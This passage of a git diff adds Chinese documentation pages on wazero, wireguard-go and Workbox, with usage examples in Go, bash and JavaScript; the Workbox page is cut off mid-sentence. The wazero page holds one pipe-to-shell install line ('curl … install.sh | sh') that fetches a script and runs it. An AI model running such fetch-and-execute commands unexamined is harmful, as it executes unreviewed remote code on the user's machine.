+Runtime(进程级,管理引擎与编译缓存) + ├── CompileModule(binary) → CompiledModule(可缓存、可多次实例化) + └── InstantiateModule(compiled, config) → api.Module(沙箱实例) + ├── Memory / Table / Global(沙箱内状态) + └── ExportedFunction("name") → api.Function(可调用的导出函数) +``` + +- **Runtime**:调用 `wazero.NewRuntime(ctx)` 创建;`defer r.Close(ctx)` 释放其创建的一切资源。 +- **CompiledModule**:`CompileModule` 阶段完成验证与(在 Compiler 模式下)AOT 编译;昂贵操作只做一次。 +- **Module**:沙箱实例,彼此隔离(除显式 import 外);通过 `ModuleConfig` 可命名、限制内存、挂载文件系统等。 + +沙箱内四类对象与 Wasm 规范一致:**memory**(线性内存)、**global**、**table**(间接调用表)、**function**。 + +### 2. 双引擎:Compiler vs Interpreter + +| 引擎 | 配置 | 平台 | 行为 | +|------|------|------|------| +| **Compiler**(默认) | `NewRuntime(ctx)` 或 `NewRuntimeConfigCompiler()` | amd64、arm64 | `CompileModule` 时 AOT 生成机器码,调用时原生执行 | +| **Interpreter** | `NewRuntimeWithConfig(ctx, NewRuntimeConfigInterpreter())` | 任意 Go 支持的目标 | 逐条解释 Wasm 指令,无平台特定代码 | + +Compiler 通常比 Interpreter 快一个数量级以上,但 **仅支持 amd64/arm64**。在 `riscv64` 或需要最大可移植性时,显式选 Interpreter: + +```go +r := wazero.NewRuntimeWithConfig(ctx, wazero.NewRuntimeConfigInterpreter()) +``` + +底层实现上,Compiler 使用 **wazevo** 优化编译管道;Interpreter 是纯 Go 循环。两者对宿主来说都是同一套 `Runtime` API。 + +### 3. Host Module:用 Go 函数扩展 Wasm + +Wasm 规范本身没有「打印到控制台」「访问数据库」——这些由 **导入(import)** 的宿主模块提供。wazero 用 `HostModuleBuilder` 把 Go 函数导出给 guest: + +```text + Go 宿主 Guest Wasm + ┌─────────────────┐ ┌──────────────┐ + │ HostModule │ import "env" │ (import │ + │ .hello() │ ◄───────────── │ env.hello) │ + │ .get_random() │ │ │ + └─────────────────┘ └──────────────┘ +``` + +典型模式:先 `Compile` 宿主模块模板,再对多个 guest **重复 Instantiate**,避免重复注册函数。 + +### 4. WASI:给 guest「受限的系统调用」 + +用 **TinyGo**、**Rust**、**zig** 等以 `wasi` 为目标编译出的 `.wasm`,会 import `wasi_snapshot_preview1`(文件、环境变量、随机数、`proc_exit` 等)。wazero 在子包 `imports/wasi_snapshot_preview1` 提供标准实现: + +```go +import "github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1" + +wasi_snapshot_preview1.MustInstantiate(ctx, r) +``` + +配合 `ModuleConfig` 可挂载目录(`WithFS`、`WithEnv` 等),实现**能力基础安全**:默认无文件访问,显式 `WithDirMount` 才开放路径。 + +### 5. Trampoline:Compiler 如何安全回调 Go + +Compiler 生成的机器码**不能直接**在 Wasm 栈上调用 Go 函数(会破坏 Go runtime 的栈布局)。wazero 采用 **trampoline(蹦床)** 策略:机器码执行到 host 调用点时**退出**到 Go 的 `exec_native`,由 Go 调用宿主函数,再跳回 guest。对开发者透明,但解释了为何 host 调用比纯 guest 指令慢一些。 + +### 6. 与竞品选型简表 + +| 运行时 | 实现语言 | CGO | 典型嵌入语言 | 强项 | +|--------|----------|-----|--------------|------| +| **wazero** | Go | 否 | Go | 零依赖、交叉编译、scratch 容器 | +| [[wasmtime]] | Rust | 可选 | Rust/C/Go/… | 规范前沿、Component Model | +| [[wasmer]] | Rust | 否 | 多语言 SDK | 多后端、WASIX、Registry | +| [[wamr]] | C | N/A | C/嵌入式 | 极小 ROM/RAM、MCU | + +## 架构一图 + +```text + .wasm 字节码 + │ + ▼ + Runtime.CompileModule ──► CompiledModule(Compiler: AOT 机器码 + 缓存) + │ + ├── Instantiate WASI 宿主模块(可选) + ├── Instantiate 自定义 HostModule(可选) + │ + ▼ + InstantiateModule ──► api.Module + │ + ├── ExportedFunction("add").Call(ctx, args...) + ├── Memory().Read(offset, buf) // 读 guest 线性内存 + └── Close(ctx) // 释放实例 + + CLI 路径: wazero run ./guest.wasm -- arg1 arg2 +``` + +## 性能与规格(量级参考) + +| 场景 | 量级 | 说明 | +|------|------|------| +| Interpreter 小模块调用 | 比 Compiler 慢 ~10x | 视指令混合而定 | +| Compiler amd64 热路径 | 接近原生数量级 | AOT 在 CompileModule 完成 | +| 依赖体积 | 纯 Go + x/sys | 无 libwasmtime.so | +| 平台测试 | Linux/macOS/Windows + BSD 族 | CI 含 scratch 镜像 | +| 无 OS 嵌入 | 支持 | 无 libc 亦可,区别于多数运行时 | + +具体数字随版本与模块大小变化,以 [wazero.io](https://wazero.io) 与 release note 为准。 + +## 代码示例 + +### 示例 1:最小嵌入 — 从嵌入的 `.wasm` 调用 `add` + +以下模式来自官方 `examples/basic`:guest 用 TinyGo 编译为 `wasi` target,宿主加载并调用导出函数。 + +```go +package main + +import ( + "context" + _ "embed" + "fmt" + "log" + + "github.com/tetratelabs/wazero" + "github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1" +) + +//go:embed testdata/add.wasm +var addWasm []byte + +func main() { + ctx := context.Background() + + r := wazero.NewRuntime(ctx) + defer r.Close(ctx) + + // TinyGo wasi 目标需要 WASI 以实现 panic 等 + wasi_snapshot_preview1.MustInstantiate(ctx, r) + + mod, err := r.InstantiateWithConfig( + ctx, addWasm, + wazero.NewModuleConfig().WithStartFunctions("_initialize"), + ) + if err != nil { + log.Fatal(err) + } + + add := mod.ExportedFunction("add") + results, err := add.Call(ctx, 1, 2) + if err != nil { + log.Fatal(err) + } + fmt.Println(results[0]) // 3 +} +``` + +要点: + +- `//go:embed` 把 `.wasm` 打进二进制,适合固定插件。 +- `WithStartFunctions("_initialize")` 适配 TinyGo 的启动约定。 +- `Call` 返回 `[]uint64`,类型与 Wasm 签名一致(i32/i64 均用 uint64 传递)。 + +编译 guest(示意): + +```bash +cd testdata && tinygo build -o add.wasm -target=wasi add.go +``` + +### 示例 2:Host Module — 向 Wasm 暴露 Go 函数 + +guest 从 `env` 模块 import `hello`;宿主用 `HostModuleBuilder` 注册: + +```go +package main + +import ( + "context" + "fmt" + "log" + + "github.com/tetratelabs/wazero" + "github.com/tetratelabs/wazero/api" +) + +func main() { + ctx := context.Background() + r := wazero.NewRuntime(ctx) + defer r.Close(ctx) + + // 定义宿主函数:无参数、无返回值,仅副作用 + hello := func() { + fmt.Println("hello from Go host!") + } + + _, err := r.NewHostModuleBuilder("env"). + NewFunctionBuilder(). + WithFunc(hello). + Export("hello"). + Instantiate(ctx) + if err != nil { + log.Fatal(err) + } + + // 随后 Instantiate 依赖 import "env" "hello" 的 guest.wasm + // mod, _ := r.Instantiate(ctx, guestWasm) + // mod.ExportedFunction("run").Call(ctx) +} +``` + +若同一宿主模块要服务多个 guest 实例,应先 `Compile` 再多次 `InstantiateModule`,并给每个实例不同名字: + +```go +compiled, _ := r.NewHostModuleBuilder("env"). + NewFunctionBuilder().WithFunc(hello).Export("hello"). + Compile(ctx) + +env1, _ := r.InstantiateModule(ctx, compiled, wazero.NewModuleConfig().WithName("env.1")) +_ = env1 +``` + +需要精细控制 Wasm 类型签名时,用 `WithGoFunction` 显式声明 `[]api.ValueType` 参数与返回值。 + +### 示例 3:CLI 快速验证 + +不写 Go 宿主时,可用官方 CLI 直接跑 WASI 模块: + +```bash +curl https://wazero.io/install.sh | sh +./bin/wazero run ./app.wasm -- arg1 arg2 +``` + +适合 CI 冒烟或对比 `wasmtime run` / `wasmer run` 行为。 + +## 常见坑与排查 + +| 现象 | 可能原因 | 处理 | +|------|----------|------| +| `module closed with exit_code(0)` | guest 调了 `proc_exit` | 正常退出;非 Go `error` | +| instantiate 缺 import | 未注册 WASI / Host | 先 `MustInstantiate` WASI 或自建 host | +| Compiler 在 riscv64 上不可用 | 平台限制 | 换 `NewRuntimeConfigInterpreter()` | +| `Call` 参数类型错误 | i32 vs i64 | 对照 Wasm 导出签名传 `uint64` | +| 内存读写出界 | 未检查 `Memory().Size()` | 用 `api.Memory` 安全 API | + +## 学习路径建议 + +1. **CLI**:`wazero run` 跑官方 examples 里的 `.wasm`,建立「字节码 → 进程」直觉。 +2. **嵌入**:复制示例 1,把 `add.wasm` 换成自己用 TinyGo/Rust 编译的小函数。 +3. **Host**:写示例 2,让 guest 回调 Go(日志、配置、数据库句柄)。 +4. **WASI**:读 `ModuleConfig` 的 `WithFS`、`WithEnv`,理解目录挂载白名单。 +5. **对照**:同一份 `.wasm` 用 [[wasmtime]] CLI 跑一遍,比较启动与错误信息。 +6. **深入**:阅读 wazero 文档中 *How do compiler functions work*,理解 trampoline 与 trap 处理。 + +## 相关链接 + +- 官网与文档:[wazero.io](https://wazero.io/docs/) +- 仓库:[github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) +- 示例目录:`examples/basic`、`examples/cli` +- 规范:[WebAssembly Core](https://webassembly.github.io/spec/core/) +- 邻居笔记:[[wasmtime]]、[[wasmer]]、[[wamr]]、[[wasmedge]] + +## 小结 + +wazero 把 WebAssembly 运行时做成了**纯 Go 库**:无 CGO、可交叉编译、API 围绕 `Runtime` / `CompiledModule` / `Module` 三层展开。默认 **Compiler** 在 amd64/arm64 上 AOT 出机器码;受限平台退回 **Interpreter**。通过 **HostModuleBuilder** 和 **WASI** 把系统能力以白名单方式暴露给 guest。若你的主栈是 Go,又需要可替换、可审计的用户代码沙箱,wazero 往往是最少摩擦的起步点。 diff --git a/src/content/docs/projects/wireguard-go.md b/src/content/docs/projects/wireguard-go.md new file mode 100644 index 000000000..70d562f77 --- /dev/null +++ b/src/content/docs/projects/wireguard-go.md @@ -0,0 +1,264 @@ +--- +title: WireGuard-Go — 用 Go 在用户态实现 WireGuard VPN 隧道 +来源: https://github.com/WireGuard/wireguard-go +日期: 2026-06-13 +子分类: DevOps 与运维 +分类: 基础设施 +provenance: pipeline-v3 +--- + +## 是什么 + +**wireguard-go** 是 [WireGuard](https://www.wireguard.com/) 协议的 **Go 语言用户态实现**。WireGuard 本身是一套现代 VPN 协议:用 Curve25519 做密钥交换、ChaCha20-Poly1305 加密数据、UDP 承载,配置极简(通常就「本机私钥 + 对端公钥 + AllowedIPs」三样)。 + +日常类比: + +- **内核版 WireGuard**(Linux 上 `ip link add wg0 type wireguard`)像小区门口的**专用闸机**:闸机嵌在围墙里,进出最快、和物业系统(路由表、防火墙)一体。 +- **wireguard-go** 像雇一位**穿制服的保安站在门口人工验票**:不改造围墙,在 macOS、Windows、FreeBSD、OpenBSD 等没有内核模块的系统上也能开 VPN;代价是多一层用户态转发,吞吐通常低于内核模块。 + +官方仓库在 [git.zx2c4.com/wireguard-go](https://git.zx2c4.com/wireguard-go),GitHub 上的 [WireGuard/wireguard-go](https://github.com/WireGuard/wireguard-go) 仅为镜像。Linux 上能跑,但生产环境仍应优先用内核模块;macOS 客户端、Windows 官方应用、不少商业 VPN 都把 wireguard-go 当底层库嵌进去。 + +## 为什么重要 + +不理解 wireguard-go,下面几件事很难讲清楚: + +- 为什么 **macOS / Windows 上没有 `wg` 内核接口**,照样能用 WireGuard——靠的是用户态 TUN + Go 实现 +- 为什么同一套 `wg set` / `wg show` 命令能配置两种实现——两者都暴露 **UAPI**(Unix Domain Socket 控制面) +- 为什么 Mullvad、Tailscale 等会 fork 或 vendor 这份代码——协议核心稳定、跨平台、可嵌入 App +- 为什么 Linux 服务器文档总写「装内核模块」——用户态是兜底,不是性能首选 + +## 核心概念 + +### 1. 用户态 VPN 的数据路径 + +典型数据流: + +``` +应用 → 内核路由表 → TUN 虚拟网卡 → wireguard-go 加密 → UDP socket → 互联网 → 对端解密 → TUN → 对端应用 +``` + +wireguard-go 不碰内核协议栈里的 IPsec 钩子,而是创建一个 **TUN 设备**(三层虚拟网卡),把明文 IP 包读出来加密,再从 UDP 发出去;入站则反向操作。 + +### 2. 仓库模块划分 + +| 目录 | 职责 | +|------|------| +| `tun/` | 各平台 TUN 驱动封装(Linux `/dev/net/tun`、macOS `utun`、Windows Wintun 等) | +| `device/` | WireGuard 状态机:Peer、握手、加解密队列、AllowedIPs 路由表 | +| `conn/` | UDP bind、批处理收发、漫游(endpoint 变化时换目标地址) | +| `ipc/` | UAPI:响应 `wg set` / `wg show` 发来的配置文本 | +| `replay/` | 防重放窗口 | +| `main.go` | CLI:创建接口、可选 daemonize、监听 UAPI | + +`device.NewDevice(tunDevice, bind, logger)` 把 TUN 与 UDP 绑在一起,是**作为库嵌入**时的入口。 + +### 3. Noise IKpsk2 握手 + +WireGuard 的握手来自 [Noise Protocol Framework](https://noiseprotocol.org/) 的 **IK 模式**(发起方已知响应方长期公钥),并加了预共享密钥扩展,记作 **IKpsk2**: + +- **1-RTT**:两条 UDP 报文完成双向认证并导出会话密钥 +- **前向保密**:每次握手用临时 ECDH,旧密钥泄露不能解密新流量 +- **身份绑定公钥**:Peer 不靠用户名,只靠 **32 字节 Curve25519 公钥** 识别 + +传输阶段用 **ChaCha20-Poly1305** AEAD;计数器作 nonce,防重放靠滑动窗口。 + +### 4. Cryptokey Routing(密钥路由) + +WireGuard 把「路由」和「授权」合成一张表: + +- **出站**:目标 IP 命中某 Peer 的 `AllowedIPs` → 用该 Peer 的会话密钥加密 +- **入站**:解密后看源 IP → 必须落在发送方 Peer 的 `AllowedIPs` 里,否则丢弃 + +因此 Peer 不能伪造「来自别人 IP」的内层包,除非掌握那个 Peer 的密钥。`AllowedIPs = 0.0.0.0/0` 表示**全流量走隧道**(常见「翻墙 / 全隧道」配置)。 + +### 5. UAPI 控制面 + +配置不走自定义 RPC,而是 Unix socket 上的**纯文本键值**(与 `wg-quick` / `wg setconf` 兼容)。例如: + +``` +private_key=... +listen_port=51820 +public_key=... +endpoint=1.2.3.4:51820 +allowed_ip=10.0.0.2/32 +``` + +`wireguard-go` 启动后监听 `/var/run/wireguard/.sock`(平台略有差异),`wg(8)` 工具往这里写配置。 + +### 6. 平台差异(README 要点) + +| 平台 | 接口名 | 备注 | +|------|--------|------| +| Linux | 任意如 `wg0` | 建议改用内核模块 | +| macOS | `utun` 或 `utun3` 等 | 不能任意命名;可设 `WG_TUN_NAME_FILE` 写回真实名 | +| Windows | 由 Wintun 管理 | 官方 GUI 封装了本库 | +| FreeBSD / OpenBSD | `tun` / `tun0` | fwmark 映射到各 OS 的 socket 选项 | + +环境变量常用: + +- `LOG_LEVEL=debug` — 详细日志 +- `WG_TUN_FD` / `WG_UAPI_FD` — 父进程传入已打开的 fd(daemon 二次 exec 时用) +- `WG_PROCESS_FOREGROUND=1` — 禁止再 fork + +## 快速上手:命令行 + +### 示例 1:前台启动接口并配置点对点隧道 + +终端 A(本机充当「服务端」): + +```bash +# 需要 root:创建 TUN 并监听 UAPI +sudo wireguard-go -f wg0 + +# 另开终端:生成密钥(若尚未有) +wg genkey | tee server.key | wg pubkey > server.pub +wg genkey | tee client.key | wg pubkey > client.pub + +# 配置 wg0 +sudo wg set wg0 \ + private-key ./server.key \ + listen-port 51820 + +sudo ip addr add 10.7.0.1/24 dev wg0 +sudo ip link set wg0 up + +# 加入对端 peer(client 公钥 + 允许其使用的源 IP) +sudo wg set wg0 peer "$(cat client.pub)" allowed-ips 10.7.0.2/32 +``` + +终端 B(客户端): + +```bash +sudo wireguard-go -f wg0 + +sudo wg set wg0 \ + private-key ./client.key \ + peer "$(cat server.pub)" \ + endpoint <服务器公网IP>:51820 \ + allowed-ips 10.7.0.0/24 \ + persistent-keepalive 25 + +sudo ip addr add 10.7.0.2/24 dev wg0 +sudo ip link set wg0 up + +ping 10.7.0.1 +``` + +`persistent-keepalive` 让 NAT 后的客户端定期发空包,保持映射不过期——家庭宽带场景几乎必备。 + +### 示例 2:用配置文件 + wg-quick 风格(Linux) + +`wg0.conf`: + +```ini +[Interface] +PrivateKey = <本机私钥 base64> +Address = 10.66.66.2/24 +ListenPort = 51820 + +[Peer] +PublicKey = <对端公钥 base64> +Endpoint = vpn.example.com:51820 +AllowedIPs = 0.0.0.0/0, ::/0 +PersistentKeepalive = 25 +``` + +```bash +sudo wireguard-go wg0 # 默认后台 fork +sudo wg setconf wg0 wg0.conf +sudo ip link set wg0 up +``` + +`AllowedIPs` 含默认路由表示**全局 VPN**;若只想访问内网 `10.66.66.0/24`,改成 `AllowedIPs = 10.66.66.0/24` 即可分流。 + +## 作为库嵌入(Go) + +移动 App、Windows 服务、容器侧车常直接 import `golang.zx2c4.com/wireguard/device`,而不是 exec `wireguard-go` 二进制。最小骨架: + +```go +package main + +import ( + "log" + + "golang.zx2c4.com/wireguard/conn" + "golang.zx2c4.com/wireguard/device" + "golang.zx2c4.com/wireguard/tun" +) + +func main() { + tunDev, err := tun.CreateTUN("utun", device.DefaultMTU) + if err != nil { + log.Fatal(err) + } + + logger := device.NewLogger(device.LogLevelVerbose, "(wg) ") + wgDev := device.NewDevice(tunDev, conn.NewDefaultBind(), logger) + + // 通过 UAPI 文本配置(也可走 ipc 包监听 socket) + cfg := "private_key=\nlisten_port=51820\n" + if err := wgDev.IpcSet(cfg); err != nil { + log.Fatal(err) + } + + if err := wgDev.Up(); err != nil { + log.Fatal(err) + } + + select {} // 保持进程与加密协程运行 +} +``` + +要点: + +- `CreateTUN` 在 macOS 上常用 `utun` 让系统分配编号 +- `IpcSet` 接受与 `wg setconf` 相同语法的字符串 +- 必须调用 `Up()` 才开始握手与转发;`Close()` 释放资源 + +## 与内核 WireGuard 怎么选 + +| 维度 | 内核模块 | wireguard-go | +|------|----------|--------------| +| 吞吐 / CPU | 通常更优 | 用户态拷贝多一层 | +| 部署 | 需内核支持或模块 | 单二进制 + Go runtime | +| 平台 | Linux 为主 | Linux/macOS/Windows/BSD 全覆盖 | +| 配置工具 | 相同 `wg` | 相同 `wg` | +| 调试 | `dmesg`、较隐蔽 | `LOG_LEVEL=debug`、Go 栈更好读 | + +经验法则:**Linux 服务器优先内核**;**桌面客户端、没有内核模块的系统、需要嵌进自有进程** 用 wireguard-go。 + +## 安全与运维提示 + +1. **私钥即身份**:`PrivateKey` 泄露等于账号被盗,轮换要同时更新所有 Peer 配置。 +2. **AllowedIPs 是防火墙**:给 Peer 过大的网段等于授权它冒充那段 IP 的来源。 +3. **UDP 51820 常被墙**:生产要准备端口伪装、多端口或叠加 obfuscation(超出 wireguard-go 本体,需外层方案)。 +4. **Cookie 抗 DoS**:握手带 `mac1`/`mac2`,服务端过载时要求证明 IP 所有权,减轻放大攻击。 +5. **无内置用户目录**:不像 OpenVPN 有用户名/证书吊销列表;身份联邦、多租户要自己做在 UAPI 之上。 + +## 常见排错 + +| 现象 | 可能原因 | 排查 | +|------|----------|------| +| `ping` 不通 | 路由没进隧道 | 查 `ip route`、`AllowedIPs` 是否覆盖目标 | +| 握手一直 0 B 接收 | 防火墙挡 UDP / Endpoint 错 | `wg show` 看 `latest handshake` | +| macOS 找不到 `wg0` | 接口实际叫 `utun4` | 看 `WG_TUN_NAME_FILE` 或 `ifconfig` | +| 能握手但无流量 | `ip addr` 未配 / 对端没回程路由 | 双方都要配隧道网段地址 | +| Linux 性能差 | 误用 go 版而非内核 | `modprobe wireguard` 后改用内核接口 | + +调试命令: + +```bash +LOG_LEVEL=debug wireguard-go -f wg0 +sudo wg show wg0 dump +``` + +## 延伸阅读 + +- [WireGuard 协议与密码学](https://www.wireguard.com/protocol/) — Noise IKpsk2、报文格式 +- [wireguard-tools `wg(8)`](https://git.zx2c4.com/wireguard-tools/about/src/man/wg.8) — UAPI 字段说明 +- [NDSS 2017 WireGuard 论文](https://www.ndss-symposium.org/ndss-paper/wireguard-next-generation-kernel-network-tunnel/) — Cryptokey Routing 设计动机 +- 上游 README 平台章节 — 各 OS TUN 命名限制 + +## 小结 + +wireguard-go 把 WireGuard 从「Linux 内核特权模块」变成「可嵌入的 Go 库 + 跨平台 CLI」:TUN 收发明文 IP 包,`device` 层做 Noise 握手与 ChaCha20 加密,`ipc` 层对接熟悉的 `wg` 工具。零基础记住三句话就够——**公钥标识 Peer、AllowedIPs 同时管路由和授权、用户态是为了到处都能跑**;Linux 生产环境再换回内核模块榨性能。 diff --git a/src/content/docs/projects/workbox.md b/src/content/docs/projects/workbox.md new file mode 100644 index 000000000..0f15e864f --- /dev/null +++ b/src/content/docs/projects/workbox.md @@ -0,0 +1,292 @@ +--- +title: Workbox — 给 Service Worker 装上「离线后勤系统」 +来源: https://github.com/GoogleChrome/workbox +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +Workbox 是 Google Chrome 团队维护的一套 **JavaScript 库 + 构建插件**,专门帮你写 [Service Worker](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)——让网站在断网、弱网时仍能打开,并加速重复访问。日常类比: + +> 你开了一家便利店。顾客进门要拿货架上的货(HTML、JS、CSS、图片),还要等供应商送货(API 请求)。 +> **没有 Workbox**:你自己雇一个「仓库管理员」(手写 Service Worker),记住每件货放哪、过期没、断货时怎么办——几百行 `fetch` + `cache.put` 容易写错。 +> **有了 Workbox**:管理员换成一套标准 SOP——「开业先把常备货摆进冷库」(precache)、「顾客要什么按品类走不同流程」(routing + strategies)、「冷库满了自动清旧货」(expiration)。你只写规则,脏活它干。 + +一句话:**Workbox 把 PWA 离线缓存从「手写代理服务器」变成「配置几条路由策略」**。 + +## 为什么重要 + +现代前端几乎都在谈「快」和「稳」,Workbox 解决的是浏览器层那道常被忽略的墙: + +- **离线 / 弱网可用**:地铁、电梯、展会 Wi-Fi 不稳时,已访问过的页面仍能打开——不是魔法,是 Service Worker 拦截请求并从 Cache Storage 读缓存。 +- **首屏与重复访问加速**:构建时 precache 的 JS/CSS/字体走「缓存优先」,第二次打开不必再等完整网络往返。 +- **与构建工具深度集成**:[[webpack]]、[[vite]](通过 `vite-plugin-pwa`)、Create React App 等都能用 `workbox-webpack-plugin` 在打包阶段生成 precache 清单,避免手写一长串 URL。 +- **策略可组合、可测试**:`CacheFirst`、`NetworkFirst`、`StaleWhileRevalidate` 等是工业级默认值;Chrome Aurora 团队持续维护,v7.4(2025)仍在活跃更新。 + +不理解 Workbox,就很难解释:为什么同一个 SPA,加了 PWA 后 Lighthouse 的 PWA 分数和「可安装」能力会质变;以及为什么手写 Service Worker 容易在「更新后用户仍看到旧版」上踩坑。 + +## 核心概念 + +Workbox 可以拆成 **四层**,从底向上理解最清晰: + +### 1. Service Worker 生命周期(背景) + +Service Worker 是运行在浏览器后台的脚本,**不能访问 DOM**,但能监听 `install`、`activate`、`fetch` 事件。Workbox 帮你把这些事件里的缓存逻辑封装好。 + +典型生命周期: + +1. **install**:下载并 precache 关键资源(应用壳)。 +2. **activate**:清理旧版本缓存,可选 `clients.claim()` 立刻接管页面。 +3. **fetch**:拦截同源(及配置过的跨域)请求,按策略返回缓存或网络响应。 + +### 2. Precaching(安装时预缓存) + +`workbox-precaching` 在 Service Worker **安装阶段**把构建产物(带 content hash 的 `app.abc123.js` 等)写入缓存。URL 带 hash 的用作 cache key;不带 hash 的会附加内容哈希查询参数,避免误用旧文件。 + +核心 API: + +- `precacheAndRoute(manifest)`:precache + 自动注册「缓存优先」路由。 +- 构建插件注入 `self.__WB_MANIFEST`:Webpack/Vite 生成的 URL 列表。 + +**注意**:`precacheAndRoute()` 宜在自定义 `registerRoute()` **之前**调用,否则可能被你自己的路由抢先匹配。 + +### 3. Routing(运行时路由) + +`workbox-routing` 的 `registerRoute(match, handler)` 像 Express 中间件:根据 URL、请求方法、`request.destination` 等决定用哪套缓存策略。 + +匹配方式示例: + +- 字符串 / RegExp:`registerRoute(/\.png$/, ...)` +- 回调:`registerRoute(({ url, request }) => url.pathname.startsWith('/api/'), ...)` + +### 4. Strategies(缓存策略) + +`workbox-strategies` 提供常见模式,名字即语义: + +| 策略 | 行为 | 典型场景 | +|------|------|----------| +| **CacheFirst** | 先缓存,未命中再网络 | 带 hash 的静态资源、字体、图片 | +| **NetworkFirst** | 先网络,失败或超时再用缓存 | HTML 导航、需新鲜的 API | +| **StaleWhileRevalidate** | 立即返回缓存,后台更新缓存 | CSS、非关键 JSON | +| **NetworkOnly** | 只走网络 | 支付、实时聊天 | +| **CacheOnly** | 只读缓存 | 离线 fallback 页 | + +配套模块: + +- `workbox-expiration`:限制条数、过期时间。 +- `workbox-cacheable-response`:只缓存 `status === 200` 等。 +- `workbox-background-sync`:离线时排队,恢复后重试。 +- `workbox-window`:在**页面侧**注册 SW、监听更新、提示用户刷新。 + +### 5. 构建插件二选一 + +| 插件 | 适用 | 特点 | +|------|------|------| +| **GenerateSW** | 快速上线 PWA | 零 SW 源码,全配置生成 | +| **InjectManifest** | 要 Web Push、自定义逻辑 | 你写 `sw.js`,插件只注入 manifest | + +## 实践案例 + +### 案例 1:手写 Service Worker(InjectManifest 典型内容) + +适合已有 `src/sw.ts`,需要精细控制路由顺序的场景: + +```javascript +/* eslint-disable no-restricted-globals */ +import { clientsClaim } from 'workbox-core'; +import { precacheAndRoute, cleanupOutdatedCaches } from 'workbox-precaching'; +import { registerRoute, NavigationRoute } from 'workbox-routing'; +import { NetworkFirst, StaleWhileRevalidate, CacheFirst } from 'workbox-strategies'; +import { ExpirationPlugin } from 'workbox-expiration'; +import { CacheableResponsePlugin } from 'workbox-cacheable-response'; + +// 构建时 injectManifest 会把 __WB_MANIFEST 替换成 precache 列表 +precacheAndRoute(self.__WB_MANIFEST); +cleanupOutdatedCaches(); + +// 安装后立刻接管已打开的标签页(可选,配合 skipWaiting 使用) +clientsClaim(); + +// SPA:导航请求回退到 index.html(多页应用可删掉这段) +registerRoute( + new NavigationRoute( + async ({ request }) => { + const cache = await caches.open('pages'); + return (await cache.match('/index.html')) || fetch(request); + }, + { denylist: [/^\/api\//] } + ) +); + +// 图片:缓存优先,最多 60 张、30 天 +registerRoute( + ({ request }) => request.destination === 'image', + new CacheFirst({ + cacheName: 'images', + plugins: [ + new CacheableResponsePlugin({ statuses: [0, 200] }), + new ExpirationPlugin({ maxEntries: 60, maxAgeSeconds: 30 * 24 * 60 * 60 }), + ], + }) +); + +// API:网络优先,3 秒超时后走缓存 +registerRoute( + ({ url }) => url.pathname.startsWith('/api/'), + new NetworkFirst({ + cacheName: 'api-cache', + networkTimeoutSeconds: 3, + plugins: [new CacheableResponsePlugin({ statuses: [200] })], + }) +); + +// 样式:Stale While Revalidate — 秒开 + 后台更新 +registerRoute( + ({ request }) => request.destination === 'style', + new StaleWhileRevalidate({ cacheName: 'styles' }) +); +``` + +**逐段解释**: + +- `precacheAndRoute`:安装时缓存 webpack/vite 打出来的带 hash 资源;之后对这些 URL 默认 **CacheFirst**。 +- `NavigationRoute` + `denylist`:除 `/api/` 外,所有「页面跳转」类请求尝试返回 `index.html`,是 SPA 离线可用的关键。 +- `ExpirationPlugin`:防止图片缓存无限膨胀占满 `navigator.storage` 配额。 +- `networkTimeoutSeconds`:弱网下别让用户干等——超时就用旧数据。 + +### 案例 2:Webpack 用 GenerateSW「配置即 Service Worker」 + +不想维护 SW 源文件时,在 `webpack.config.js` 里加插件即可: + +```javascript +const { GenerateSW } = require('workbox-webpack-plugin'); + +module.exports = { + // ... 其他 webpack 配置 + plugins: [ + new GenerateSW({ + clientsClaim: true, + skipWaiting: true, + navigateFallback: '/index.html', + navigateFallbackDenylist: [/^\/api\//, /^\/admin\//], + runtimeCaching: [ + { + urlPattern: /^https:\/\/fonts\.googleapis\.com\/.*/i, + handler: 'CacheFirst', + options: { + cacheName: 'google-fonts-stylesheets', + }, + }, + { + urlPattern: /^https:\/\/fonts\.gstatic\.com\/.*/i, + handler: 'CacheFirst', + options: { + cacheName: 'google-fonts-webfonts', + expiration: { + maxEntries: 30, + maxAgeSeconds: 60 * 60 * 24 * 365, + }, + }, + }, + { + urlPattern: /\/api\/.*$/i, + handler: 'NetworkFirst', + options: { + cacheName: 'api-cache', + networkTimeoutSeconds: 5, + expiration: { maxEntries: 50, maxAgeSeconds: 300 }, + }, + }, + ], + }), + ], +}; +``` + +构建结束后会多出 `service-worker.js`(或 `swDest` 指定的文件名),并在 HTML 里由你或插件注册。`skipWaiting: true` 表示新版本 SW **安装完立刻激活**——适合内部工具;面向公众的产品更常用 `workbox-window` 提示用户「有新版本,点刷新」。 + +### 案例 3:页面侧用 workbox-window 处理更新 + +Service Worker 在后台更新时,用户可能一直开着旧标签页。`workbox-window` 把「等待 / 跳过等待」封装成 Promise 风格 API: + +```javascript +import { Workbox } from 'workbox-window'; + +if ('serviceWorker' in navigator) { + const wb = new Workbox('/service-worker.js'); + + wb.addEventListener('waiting', () => { + // 有新 SW 在 waiting 状态:问用户是否刷新 + if (confirm('发现新版本,是否立即更新?')) { + wb.messageSkipWaiting(); + } + }); + + wb.addEventListener('controlling', () => { + window.location.reload(); + }); + + wb.register(); +} +``` + +`messageSkipWaiting()` 对应 SW 里的 `skipWaiting()`,激活后 `controlling` 触发,整页 reload 加载新 precache 资源。 + +## Precache 该做与不该做 + +**适合做 precache**: + +- 应用壳:`index.html`、入口 JS/CSS、关键字体、离线 fallback 图。 +- 体积可控、带 content hash 的构建产物。 + +**不适合盲目 precache**: + +- 超大视频、用户上传文件、每次部署都变的无 hash 资源。 +- 所有 API 响应(应用 `runtimeCaching` + `NetworkFirst` 更合理)。 +- 超过 `maximumFileSizeToCacheInBytes`(默认 2MB)的文件——GenerateSW 会直接排除。 + +## 与 Vite / CRA 的关系 + +- **Create React App**:内置 `workbox-webpack-plugin`(InjectManifest),eject 后可见 `src/service-worker.js`。 +- **Vite**:常用 [`vite-plugin-pwa`](https://vite-pwa-org.netlify.app/),底层仍是 Workbox,选项映射到 `generateSW` / `injectManifest`。 +- **Next.js**:官方 PWA 支持较弱,社区多用 `next-pwa` 或自托管 SW;理解 Workbox 模块后迁移成本更低。 + +## 调试与排错 + +1. **Chrome DevTools → Application → Service Workers**:看当前 SW 状态(activated / waiting)、手动 